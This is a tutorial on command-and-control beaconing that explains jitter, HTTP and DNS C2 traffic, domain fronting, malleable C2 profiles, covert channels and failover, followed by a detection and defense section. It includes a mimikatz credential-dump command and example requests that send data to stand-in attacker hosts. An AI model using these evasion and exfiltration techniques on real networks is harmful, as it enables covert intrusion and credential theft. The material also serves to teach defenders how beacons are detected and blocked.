Beaconing & Command and Control Communications

"Are they leaving a connection open or scripting very precisely?" The answer is neither—they use beaconing, a periodic check-in model that's resilient, stealthy, and scales to thousands of implants.

Understanding Connection Models

There are three main approaches to maintaining access to a compromised system:

Beaconing Fundamentals

Beaconing is a periodic "phone home" pattern where implants check in with the C2 server at regular intervals, receive commands if any are queued, execute them, and return results.

BEACON LIFECYCLE:

    ┌─────────────────────────────────────────────────────────────┐
    │                      IMPLANT LIFECYCLE                       │
    └─────────────────────────────────────────────────────────────┘

    [SLEEP] ──> [WAKE] ──> [BEACON] ──> [CHECK TASKS] ──> [EXECUTE] ──> [RETURN] ──> [SLEEP]
       │          │           │              │                │            │           │
       │          │           │              │                │            │           │
      60s      Calculate    HTTPS GET     Any commands?     Run task    POST results  Back to
    + jitter    timing      /api/poll        │                │                      sleep
                                             │                │
                                    ┌────────┴────────┐       │
                                    │                 │       │
                                  [NO]              [YES]─────┘
                                    │
                                    └──> Go back to sleep

Sleep and Jitter

The two most critical beaconing parameters are sleep time (how often to check in) and jitter (randomization percentage). Without jitter, beacons create detectable patterns.

# Set beacon to check in every 60 seconds with 25% jitter
beacon> sleep 60 25

# Sleep 60 seconds ± 15 seconds (25% of 60)
# Actual interval: 45-75 seconds (random each time)

# Go interactive (0 second sleep)
beacon> sleep 0

# Low and slow (5 minutes with 50% jitter)
beacon> sleep 300 50
# Actual interval: 150-450 seconds

JITTER CALCULATION:

Base Sleep: 60 seconds
Jitter: 25%

Jitter Range = Sleep × (Jitter / 100)
             = 60 × 0.25 = 15 seconds

Actual Sleep = Base ± Random(0, JitterRange)
             = 60 ± Random(0, 15)
             = 45 to 75 seconds

OPERATIONAL PROFILES:

AGGRESSIVE (CTF/Lab):
├── Sleep: 0-5 seconds
├── Jitter: 0%
└── Risk: Very high, instant detection

STANDARD ENGAGEMENT:
├── Sleep: 30-60 seconds
├── Jitter: 20-30%
└── Risk: Medium, blend with traffic

LOW AND SLOW:
├── Sleep: 5-15 minutes
├── Jitter: 40-50%
└── Risk: Low, long-term operations

LONG HAUL (APT):
├── Sleep: 1-24 hours
├── Jitter: 50%+
└── Risk: Very low, patience required

Communication Protocols

C2 traffic must blend with legitimate network activity. The protocol choice significantly impacts detectability and operational flexibility.

HTTP/HTTPS Beaconing

# Beacon check-in (GET request)
GET /api/v2/status?id=a3f2d1e8 HTTP/1.1
Host: cdn.legitimate-site.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Accept: application/json
Cookie: session=eyJpZCI6ImJlYWNvbl8xMjM0In0=

# Server response (no tasks)
HTTP/1.1 200 OK
Content-Type: application/json

{"status": "ok", "tasks": []}

# Server response (with task)
HTTP/1.1 200 OK
Content-Type: application/json

{"status": "ok", "tasks": [{"id": 1, "cmd": "whoami"}]}

# Task result (POST request)
POST /api/v2/result HTTP/1.1
Host: cdn.legitimate-site.com
Content-Type: application/json

{"id": 1, "output": "CORP\\admin"}

DNS Beaconing

DNS is particularly stealthy because it's rarely blocked and often not inspected deeply. Data is encoded in subdomains or TXT records.

# Beacon check-in (encoded in subdomain)
# Format: [encoded_data].[beacon_id].c2domain.com
a3f2d1e8.b1234.updates.legitimate-domain.com  A?

# Response via A record (command ID)
updates.legitimate-domain.com  A  10.0.0.1

# Data exfil via TXT record query
data.a3f2d1e8.b1234.updates.legitimate-domain.com  TXT?

# Response contains encoded command
TXT "d2hvYW1p"  # base64 encoded "whoami"

# Result sent as multiple queries (chunked)
Q09SUFxhZG1pbi4.a3f2d1e8.results.c2domain.com

DNS C2 CHARACTERISTICS:

ADVANTAGES:
├── Rarely blocked (needed for name resolution)
├── Often not inspected by security tools
├── Works through most firewalls
├── Can use legitimate DNS resolvers
└── Highly covert

DISADVANTAGES:
├── Very slow (limited data per query)
├── Query length limits (~253 chars)
├── High query volume can be suspicious
├── TXT record queries are unusual
└── DNS logging increasingly common

Covert Channels

Advanced C2 uses covert channels that hide communication within legitimate protocols or unexpected fields.

COVERT CHANNEL TECHNIQUES:

PROTOCOL FIELD ABUSE:
├── HTTP headers (X-Custom-Header)
├── HTTP cookies (encoded commands)
├── HTTPS certificate fields
├── ICMP payload data
├── TCP sequence numbers
└── IP header options

STEGANOGRAPHY:
├── Data hidden in images
├── Whitespace encoding in text
├── Metadata fields in files
├── Audio file manipulation
└── Video frame modifications

LEGITIMATE SERVICES:
├── Twitter/X (DMs, bios, tweets)
├── GitHub (issue comments, gists)
├── Pastebin (encoded posts)
├── Google Sheets (cell data)
├── Slack/Discord (bot messages)
├── Dropbox/OneDrive (file sync)
└── Cloud storage APIs

Domain Fronting

Domain fronting hides the true destination by routing through CDN infrastructure. The SNI shows a legitimate domain, but the Host header directs to C2.

# TLS connection shows legitimate domain (SNI)
ClientHello: SNI = www.microsoft.com

# But HTTP Host header goes to attacker's Azure site
GET /beacon HTTP/1.1
Host: attacker-c2.azurewebsites.net

# CDN routes based on Host header, not SNI
# Network monitors see: traffic to www.microsoft.com
# Actual destination: attacker-c2.azurewebsites.net

Malleable C2 Profiles

Malleable C2 profiles customize beacon traffic to mimic legitimate applications. Cobalt Strike pioneered this, and most modern C2 frameworks support similar features.

# Make traffic look like Google Analytics
http-get {
    set uri "/collect /pageview /__utm.gif";

    client {
        header "Host" "www.google-analytics.com";
        header "Accept" "image/gif";

        parameter "v" "1";
        parameter "tid" "UA-XXXXX-1";
        parameter "cid" "555";

        # Beacon ID hidden in 't' parameter
        metadata {
            base64url;
            parameter "t";
        }
    }

    server {
        header "Content-Type" "image/gif";
        header "Cache-Control" "no-cache";

        # Return actual 1x1 GIF with data appended
        output {
            prepend "\x47\x49\x46\x38\x39\x61";
            print;
        }
    }
}

POPULAR TRAFFIC MIMICS:

WEB ANALYTICS:
├── Google Analytics
├── Adobe Analytics
├── Mixpanel
└── Hotjar

CDN/CLOUD:
├── AWS CloudFront
├── Azure CDN
├── Akamai
└── Cloudflare

LEGITIMATE APPS:
├── Slack API
├── Microsoft Graph
├── Dropbox API
├── Zoom traffic
└── Teams/Office 365

PROFILE SOURCES:
├── Cobalt Strike Community Kit
├── Malleable-C2-Profiles (GitHub)
├── Custom (packet capture legit app)
└── threat actor emulation

Beacon Resilience

Robust beacons handle network interruptions, C2 server changes, and defensive actions without losing access.

RESILIENCE TECHNIQUES:

FAILOVER:
├── Multiple C2 domains (rotate on failure)
├── Backup channels (HTTP → DNS → SMB)
├── Dead drop resolvers (get new C2 from paste site)
└── Peer-to-peer fallback

RECONNECTION:
├── Exponential backoff on failures
├── Maximum retry limits (avoid infinite loops)
├── Connection health checks
└── Graceful degradation

EXAMPLE FAILOVER LOGIC:
1. Try primary HTTPS C2
2. On 3 failures, switch to backup domain
3. On 3 more failures, fall back to DNS C2
4. On complete failure, enter deep sleep (24hr)
5. Wake and retry from primary

ANTI-DETECTION:
├── Vary User-Agent strings
├── Rotate source ports
├── Mimic browser TLS fingerprint
├── Use legitimate certificate chains
└── Match target environment traffic patterns

Interactive vs Beacon Mode

Modern C2 frameworks support both modes. Beacon for stealth, interactive for time-sensitive operations.

# Normal beacon mode (60s sleep, 20% jitter)
beacon> sleep 60 20

# Go interactive for credential dump
beacon> sleep 0
beacon> mimikatz sekurlsa::logonpasswords
[... output ...]

# Back to low and slow
beacon> sleep 300 50

# Schedule task for later (beacon doesn't need to be awake)
beacon> spawn x64 --delay 3600

Detection & Defense

BEACON DETECTION METHODS:

STATISTICAL ANALYSIS:
├── Connection frequency patterns
├── Jitter calculation (regular intervals with variance)
├── Packet size consistency
├── Time-of-day patterns
├── Destination reputation
└── Machine learning models (RITA, Zeek)

TRAFFIC ANALYSIS:
├── Unusual DNS query patterns
├── TXT record queries to uncommon domains
├── Long-running HTTPS sessions
├── Mismatched User-Agent / TLS fingerprint
├── JA3/JA3S hash analysis
└── HTTP header anomalies

ENDPOINT INDICATORS:
├── Processes with network connections but no GUI
├── Scheduled tasks with network activity
├── PowerShell/cmd with persistent connections
├── Unknown binaries making HTTPS calls
└── Named pipe connections to external IPs

TOOLS FOR DETECTION:
├── RITA (Real Intelligence Threat Analytics)
├── Zeek (formerly Bro)
├── AC-Hunter
├── NetworkMiner
├── Wireshark (manual analysis)
└── EDR network telemetry

BEACON PREVENTION:

NETWORK CONTROLS:
├── SSL/TLS inspection (break and inspect)
├── DNS filtering and monitoring
├── Egress filtering (whitelist approach)
├── Block uncommon ports
├── Rate limiting outbound connections
└── Domain reputation blocking

ENDPOINT CONTROLS:
├── Application whitelisting
├── Process network monitoring
├── EDR with behavioral detection
├── Host-based firewall rules
└── PowerShell constrained language mode

MONITORING:
├── SIEM correlation rules for beaconing
├── NetFlow/sFlow analysis
├── DNS query logging and analysis
├── Certificate transparency monitoring
└── Threat intelligence integration

MITRE ATT&CK Mapping